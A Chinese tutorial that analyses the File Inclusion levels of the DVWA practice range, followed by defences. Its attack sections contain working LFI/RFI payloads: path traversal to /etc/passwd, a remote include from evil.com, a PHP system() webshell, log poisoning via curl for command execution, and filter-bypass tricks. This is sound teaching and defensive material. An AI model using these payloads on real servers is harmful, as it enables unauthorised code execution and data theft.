1. 项目概述为什么File Inclusion漏洞值得深挖如果你正在学习网络安全尤其是Web渗透测试那么DVWADamn Vulnerable Web Application这个靶场你一定不陌生。它就像是一个专门为学习者打造的“漏洞游乐场”把各种常见的Web漏洞比如SQL注入、XSS、文件上传都做成了一个个可以安全练习的关卡。今天我们要聊的是其中看似简单、实则内涵丰富的“File Inclusion”文件包含漏洞。文件包含漏洞特别是其中的本地文件包含LFI和远程文件包含RFI在真实的漏洞挖掘和渗透测试中出场率极高。它不像SQL注入那样直接操作数据库也不像XSS那样直观地在页面上弹窗。它的危害往往更隐蔽也更深远——攻击者可能通过它读取服务器上的敏感配置文件如/etc/passwd、日志文件甚至上传Webshell最终完全控制服务器。在DVWA的File Inclusion关卡里从Low到Impossible四个难度级别完美模拟了从漏洞存在到被逐步加固的过程是理解漏洞原理和防御思想的绝佳教材。我刚开始接触渗透测试时也曾觉得文件包含无非就是改个page参数试试../../etc/passwd。但真正在实战中遇到时才发现路径穿越、编码绕过、日志注入、PHP封装协议利用这些技巧环环相扣。这次我们就以DVWA靶场为沙盘不光是“通关”更要深入每一行代码背后拆解攻击者的思维路径和防御者的加固逻辑。无论你是刚入门的新手还是想巩固基础的老手相信这篇从原理到实战、从攻击到防御的深度剖析都能让你对File Inclusion有一个全新的认识。2. 漏洞原理深度解析LFI与RFI的“罪与罚”在深入实战之前我们必须把地基打牢。文件包含漏洞的核心在于应用程序动态地将用户可控的输入作为文件路径或文件名的一部分传递给文件包含函数如PHP的include、require而没有经过充分的验证和过滤。2.1 本地文件包含危险的“内部调用”本地文件包含顾名思义是包含服务器本地文件系统上的文件。这是最常见的形式。漏洞代码示例模拟DVWA Low级别?php $file $_GET[page]; // 直接接收用户输入 include($file); ?假设访问的URL是http://target/vuln.php?pageabout.php正常情况下它会包含about.php并显示其内容。问题在于攻击者可以控制page参数。攻击尝试http://target/vuln.php?page../../../../etc/passwd如果服务器是Linux系统且Web进程有读取权限这条命令可能会成功返回系统的用户账户列表。这里的../就是经典的“目录遍历”攻击目的是跳出Web根目录访问系统其他敏感文件。注意LFI的危害远不止读取文件。在特定条件下它可以与其它漏洞结合实现代码执行。例如如果服务器开启了错误日志记录并且日志文件路径已知攻击者可以尝试将PHP代码作为User-Agent或请求参数的一部分发送使其被记录到日志文件中然后通过LFI包含这个日志文件从而执行其中的PHP代码。2.2 远程文件包含敞开的大门远程文件包含则更为致命。当应用程序的包含函数配置允许包含远程URL如http://或ftp://时攻击者可以直接让服务器去包含一个托管在远程攻击者服务器上的恶意文件。漏洞前提在PHP中RFI通常需要allow_url_include配置项设置为On默认是Off。这也是为什么现代PHP环境中纯粹的RFI较少见但理解它至关重要。攻击示例http://target/vuln.php?pagehttp://evil.com/shell.txt如果条件满足服务器会去请求http://evil.com/shell.txt并将其内容作为PHP代码执行。攻击者可以在shell.txt中写入?php system($_GET[‘cmd’]); ?从而在目标服务器上获得一个Webshell。LFI与RFI的根本区别LFI文件来源是本地文件系统。利用难度相对高需要结合服务器环境、已知文件路径、其他漏洞如日志注入才能实现代码执行。RFI文件来源是远程URL。一旦可利用几乎等同于直接获得代码执行权限危害极大。在DVWA靶场中Low级别同时存在LFI和RFI的风险而随着难度提升防御措施会逐步关闭RFI的可能性并加强对LFI的防护。理解这两者的区别和联系是制定有效攻防策略的第一步。3. DVWA靶场实战四重难度下的攻防博弈DVWA将File Inclusion漏洞设置为四个难度等级Low, Medium, High, Impossible。这不仅仅是为了增加挑战性更是模拟了一个应用从存在漏洞到被彻底加固的完整生命周期。我们逐一来拆解。3.1 Low级别毫无防护的“裸奔”状态Low级别的源码几乎就是漏洞原理的教科书式展示它向我们揭示了最原始的漏洞形态。源码关键点分析// File: vulnerability/fi/low.php ?php if( array_key_exists( page, $_GET ) ) { $file $_GET[page]; include( $file ); } ?代码逻辑清晰得可怕从GET参数page直接取值不做任何处理直接交给include函数。这意味着攻击者拥有完全的控制权。攻击实战演示基础LFI读取敏感文件在输入框中尝试../../../../etc/passwd如果成功页面会显示Linux系统的用户列表。这里使用了多个../来向上回溯目录直到根目录再定位到/etc/passwd文件。Windows系统可以尝试../../../../windows/system32/drivers/etc/hosts。利用PHP封装协议PHP提供了一系列“封装协议”可以像访问文件一样访问各种数据流。这在LFI利用中极为强大。读取PHP源码pagephp://filter/convert.base64-encode/resourceindex.php这行代码利用了php://filter这个“过滤器”。convert.base64-encode过滤器会将目标文件这里是index.php的内容进行Base64编码后再输出。为什么要编码因为如果直接包含index.php其中的PHP代码会被执行我们看不到源代码。而Base64编码后我们得到的是字符串解码后就能获得完整的源码。这是审计代码、寻找其他漏洞的关键一步。执行PHP代码如果allow_url_include为On甚至可以尝试data://协议如pagedata://text/plain,?php phpinfo();?来直接执行代码。尝试RFI在输入框中输入http://your-attack-server/shell.txt如果你的DVWA环境PHP配置允许通常默认不允许且你的服务器上有一个包含PHP代码的shell.txt文件那么这段代码将被执行。实操心得在Low级别不要满足于弹出一个/etc/passwd。要多尝试不同的封装协议如zip://、phar://和路径遍历技巧。同时用php://filter读取关键源码如config.inc.php其中可能包含数据库密码为后续的横向渗透打下基础。这是培养“攻击链”思维的开始。3.2 Medium级别初级的过滤与绕过到了Medium级别开发者意识到了危险开始引入简单的防护措施但往往因为对攻击技术了解不深留下了绕过的空间。源码关键点分析// File: vulnerability/fi/medium.php ?php if( array_key_exists( page, $_GET ) ) { $file $_GET[page]; $file str_replace( array( http://, https:// ), , $file ); // 过滤http/https $file str_replace( array( ../, ..\\ ), , $file ); // 过滤目录遍历 include( $file ); } ?代码使用了str_replace函数试图将http://、https://、../和..\替换为空字符串。这是一种“黑名单”式的过滤思路是“我发现坏东西就删掉它”。攻击绕过策略双写绕过 过滤规则是str_replace(../, , $input)。它只执行一次替换。那么如果我们输入..././经过替换后中间的../被删除剩下的部分拼接起来变成了../成功绕过了过滤。 因此攻击载荷可以是..././..././..././..././etc/passwd经过过滤后它变回了../../../../etc/passwd。绝对路径绕过 过滤只针对相对路径的../并没有禁止绝对路径。如果攻击者知道Web目录的绝对路径例如/var/www/html可以直接尝试包含绝对路径下的敏感文件或者结合文件上传等其他漏洞包含一个已上传的恶意文件。 例如page/var/www/html/dvwa/hackable/uploads/evil.jpg假设evil.jpg内含PHP代码。利用未过滤的协议 代码只过滤了http://和https://但没有过滤file://、php://、data://等。RFI绕过如果服务器支持ftp://或//evil.com/shell.txt无协议头的绝对URL在某些配置下可能被解释为http://可能仍然可行。LFI利用php://filter协议依然完全可用。注意事项Medium级别的防御非常典型地展示了“不完全黑名单”的失败。在实战中遇到简单的字符串替换过滤一定要第一时间想到双写、大小写变形如果过滤是大小写敏感的、超长字符串截断等绕过方法。同时绝对路径利用是一个常被忽略的突破口。3.3 High级别白名单机制的引入High级别代表了更成熟的防御思路从“黑名单”转向“白名单”。只允许特定的、已知安全的选项。源码关键点分析// File: vulnerability/fi/high.php ?php if( array_key_exists( page, $_GET ) ) { $file $_GET[page]; if( !fnmatch( file*, $file ) $file ! include.php ) { echo ERROR: File not found!; exit; } include( $file ); } ?这段代码的逻辑是page参数的值必须以file开头或者等于include.php才会被包含。这看起来非常严格似乎堵死了所有包含外部文件的可能性。致命缺陷与利用漏洞在于它使用了fnmatch函数进行file*的模式匹配并且检查在include之前。然而它没有对输入进行任何规范化处理也没有阻止目录遍历。利用“file”协议绕过file://协议恰好以file开头因此攻击者可以这样构造pagefile:///etc/passwd这个输入满足fnmatch(“file*”, $input)的条件它以file开头因此通过了检查。随后include函数会尝试通过file://协议去包含/etc/passwd这个本地文件LFI攻击成功。更进一步甚至可以结合路径遍历pagefile:///var/www/html/../../etc/passwd只要以file开头后面的路径几乎可以任意指定。核心要点High级别的案例是安全开发中一个深刻的教训白名单验证必须基于规范化后的路径并且最终包含的文件必须落在预期的安全目录内。这里的白名单只验证了前缀但没有验证最终要包含的文件是否真的是file1.php、file2.php这些预期内的文件。在真实开发中应该先定义一个允许的文件名数组如[‘about.php’, ‘contact.php’]然后严格判断输入是否在这个数组中最后再拼接上固定的基础目录路径进行包含。3.4 Impossible级别终极防御之道Impossible级别展示了如何从根本上杜绝文件包含漏洞。它的代码是防御方应该学习的典范。源码关键点分析// File: vulnerability/fi/impossible.php ?php if( array_key_exists( page, $_GET ) ) { $file $_GET[page]; } else { $file home.php; } // 只允许特定的文件 $allowed_files array(file1.php, file2.php, file3.php, file4.php); if( !in_array( $file, $allowed_files ) ) { header( Location: ?pagehome.php ); exit; } ?防御策略拆解严格的白名单$allowed_files数组明确定义了所有可以被包含的文件名。用户输入$file必须完全等于数组中的某一个值否则请求会被重定向到首页。无动态拼接包含操作是include($file);但请注意由于白名单的限制$file只可能是file1.php等几个固定值。开发者完全放弃了根据用户输入动态构造文件路径的模式。文件位置固定通常file1.php等文件会放在同一个安全的目录下。include直接包含文件名避免了任何目录穿越的可能。为什么这是“Impossible”的因为攻击面被降到了最低。攻击者无法注入任何路径分隔符/或\无法使用任何协议包装器php://、file://只能选择有限的、预先定义好的、不包含敏感内容的选项。除非应用本身有其他严重漏洞如能修改$allowed_files数组否则文件包含漏洞在此被彻底消灭。给开发者的启示绝对不要将用户可控的数据直接或经过简单拼接后传递给文件包含函数。如果必须动态包含请使用白名单机制并且白名单的匹配要基于最终解析的完整、规范化路径确保目标文件位于Web应用指定的安全目录内。4. 高级利用技巧与组合拳实战掌握了各级别的绕过方法后真正的渗透测试高手会思考如何将LFI的“读文件”能力升级为“执行命令”的能力并与其他漏洞形成攻击链。下面分享几个实战中常用的高级技巧。4.1 利用日志文件实现代码执行这是LFI漏洞利用中一个经典且强大的技巧。前提是服务器存在LFI漏洞。你知道服务器某个日志文件的绝对路径如Apache的access.log、error.log或SSH的auth.log。你有权限向该日志文件写入内容通常通过Web请求实现。攻击步骤确定日志路径通过LFI读取/etc/apache2/apache2.conf或/etc/httpd/conf/httpd.conf等配置文件找到CustomLog或ErrorLog指令定义的路径。常见路径如/var/log/apache2/access.log。污染日志构造一个特殊的HTTP请求将PHP代码作为请求的一部分发送。例如使用curl或浏览器插件发送一个User-Agent头为?php system($_GET[‘c’]);?的请求。curl -A ?php system(\$_GET[c]);? http://target/这个PHP代码会被记录到Apache的access.log文件中。包含日志文件通过LFI漏洞去包含这个日志文件。http://target/vuln.php?page/var/log/apache2/access.log此时日志文件中的PHP代码会被服务器解析执行。执行命令现在你可以在包含日志的URL后面附加参数来执行命令。http://target/vuln.php?page/var/log/apache2/access.logcid服务器会执行id命令并将结果返回在页面上。实操心得日志文件通常很大包含时可能会超时或导致错误。可以尝试先读取日志文件末尾几行或者利用php://filter配合convert.base64-encode来读取避免直接包含导致的问题。此外/proc/self/environ存储环境变量的文件也是一个潜在的注入点如果Web进程有读取权限并且HTTP_USER_AGENT等环境变量用户可控也可以尝试污染。4.2 利用PHP Session文件PHP会将用户的Session数据存储在服务器上的临时文件中通常位于/tmp或/var/lib/php/sessions文件名类似sess_[sessionid]。如果攻击者能预测或获取到Session文件的路径和内容并且能向自己的Session中注入PHP代码那么通过LFI包含这个Session文件也能实现代码执行。攻击条件较为苛刻Session文件路径已知或可预测。Session中的某个变量用户可控比如一个将用户输入存入$_SESSION的页面。能通过LFI包含到该Session文件。4.3 利用文件上传功能组合攻击这是更具实战价值的组合技。如果网站同时存在文件上传漏洞和文件包含漏洞那么攻击流程将变得非常直接。上传恶意文件利用上传漏洞将一个图片马如shell.jpg内容为?php system($_GET[‘cmd’]);?上传到服务器并获取其存储路径例如/uploads/shell.jpg。包含恶意文件利用文件包含漏洞去包含这个上传的图片。http://target/vuln.php?page./uploads/shell.jpgcmdwhoami由于服务器配置如AddType application/x-httpd-php .jpg错误配置或包含函数的行为shell.jpg中的PHP代码被成功执行。即使服务器正确配置了MIME类型对于PHP的include函数来说它并不关心文件扩展名只要文件内容包含有效的PHP代码且被include就会被执行。这使得“图片马”配合LFI成为一种极具威胁的攻击方式。5. 防御策略全景从开发到运维攻击技术的理解最终是为了更好的防御。针对File Inclusion漏洞我们需要在软件开发生命周期的各个阶段建立防线。5.1 开发阶段安全编码是根本防御策略具体实施方法原理与优势避免动态包含使用静态映射或前端路由。如switch($page) { case ‘about’: include(‘about.php’); break; }彻底消除用户输入影响文件路径的可能性。严格白名单若必须动态包含使用数组定义允许的文件名严格检查输入是否完全匹配。关键检查后使用完整路径包含如include(BASE_DIR . $file)。只允许预期的、安全的选项是最有效的过滤方式。路径规范化与校验使用realpath()函数解析输入的真实路径然后检查该路径是否以允许的目录如/var/www/html/app/开头。防止任何形式的目录遍历确保文件不会跳出安全沙箱。禁用危险函数/配置在php.ini中设置allow_url_include Offallow_url_fopen Off。考虑禁用include、require等函数通过disable_functions但需评估业务影响。从运行时环境层面关闭RFI和部分高风险功能。5.2 运维配置加固服务器环境最小权限原则运行Web服务的用户如www-data、nginx应仅拥有必要的最小权限。确保其无法读取/etc/passwd、/etc/shadow、应用源码目录之外的系统文件。安全目录结构将用户可上传的文件存放在Web根目录之外并通过脚本代理访问。这样即使文件被上传也无法通过Web直接访问或包含。日志文件安全将Web日志、系统日志存放在Web用户无法访问的目录。定期审查和清理日志。PHP配置加固除了关闭allow_url_include还应设置open_basedir限制PHP可以访问的文件系统目录范围。使用Web应用防火墙部署WAF如ModSecurity可以识别和阻断常见的路径遍历、封装协议利用等攻击模式。5.3 安全测试验证防御有效性防御措施部署后需要通过安全测试来验证。代码审计定期对源码进行人工或工具辅助的审计重点检查所有文件包含函数include,require,include_once,require_once,fopen等的参数是否用户可控以及控制逻辑是否严密。渗透测试以攻击者视角进行测试尝试使用各种绕过技巧双写、绝对路径、编码、协议包装器等进行探测。漏洞扫描使用专业的Web漏洞扫描器如Burp Suite的Active Scan AWVS等对应用进行自动化扫描可以发现常见的文件包含漏洞模式。6. 常见问题与排查技巧实录在学习和实战File Inclusion漏洞的过程中我踩过不少坑也总结了一些排查技巧。Q1为什么我的../../etc/passwd攻击不成功返回了空白或错误A1首先确认目标系统。/etc/passwd是Linux文件Windows上是不同的路径。其次../的个数需要精确。你可以尝试从../开始逐渐增加数量如../、../../、../../../。更有效的方法是先通过漏洞读取一个已知存在的Web文件如index.php来确定当前工作目录再计算回溯到目标文件的层级。使用php://filter读取index.php源码是很好的第一步。Q2使用php://filter读取文件时得到一堆乱码或Base64编码怎么办A2这正是预期的结果。php://filter/convert.base64-encode/resource目标文件会输出文件的Base64编码内容。你需要将这段Base64字符串复制下来使用在线工具或命令行echo “编码字符串” | base64 -d进行解码就能得到原始文件内容如PHP源码。Q3在DVWA High级别file://协议利用不成功A3首先确认你的PHP环境是否支持file://封装协议默认支持。其次注意URL编码。在浏览器地址栏直接输入时file:///etc/passwd是没问题的。如果在DVWA的表单输入框里输入要确保它被正确提交。有时需要查看页面源码确认表单提交的最终URL是什么。也可以直接使用Burp Suite拦截请求并修改page参数这样最准确。Q4实战中如何快速判断是否存在文件包含漏洞A4可以遵循以下步骤参数探测寻找像page、file、load、path、document这样的参数。基础测试尝试包含一个已知存在的Web文件如?pageindex.php观察页面变化。如果正常页面被包含进来说明可能存在动态包含。错误信息尝试包含一个不存在的文件如?pagenon_exist.php。如果返回了明确的文件不存在的错误特别是包含路径被打印出来这是强信号。协议测试尝试?pagephp://filter/resourceindex.php。如果页面内容以文本形式显示而非执行漏洞很可能存在。目录遍历尝试?page../../../../etc/passwd观察是否有数据泄露或错误信息差异。Q5防御时用了realpath()检查就绝对安全了吗A5realpath()是防御目录遍历的关键函数它能解析符号链接并返回绝对路径。但安全是一个整体。你需要先检查后拼接先对用户输入进行白名单校验再用realpath()处理拼接后的完整路径。检查前缀确保realpath()返回的路径以你允许的安全基础目录的绝对路径开头。例如strpos($real_path, ‘/var/www/html/app/’) 0。注意空字节注入在PHP老版本5.3.4中include(‘/etc/passwd\0’)中的空字节会截断路径可能导致检查绕过。虽然现代PHP已修复但在审计旧代码时仍需留意。最佳实践是始终使用白名单。文件包含漏洞的攻防是一场关于“信任”和“控制”的博弈。DVWA靶场通过四个难度级别生动地展示了从完全信任用户输入到实施绝对白名单控制的演进过程。真正的安全不在于使用了多少复杂的过滤函数而在于架构设计上是否最小化了攻击面并在关键环节实施了不可绕过的验证。希望这篇近万字的深度剖析能让你不仅学会“怎么攻”更能理解“为何防”以及“如何防得牢”。在安全的世界里知其然更要知其所以然。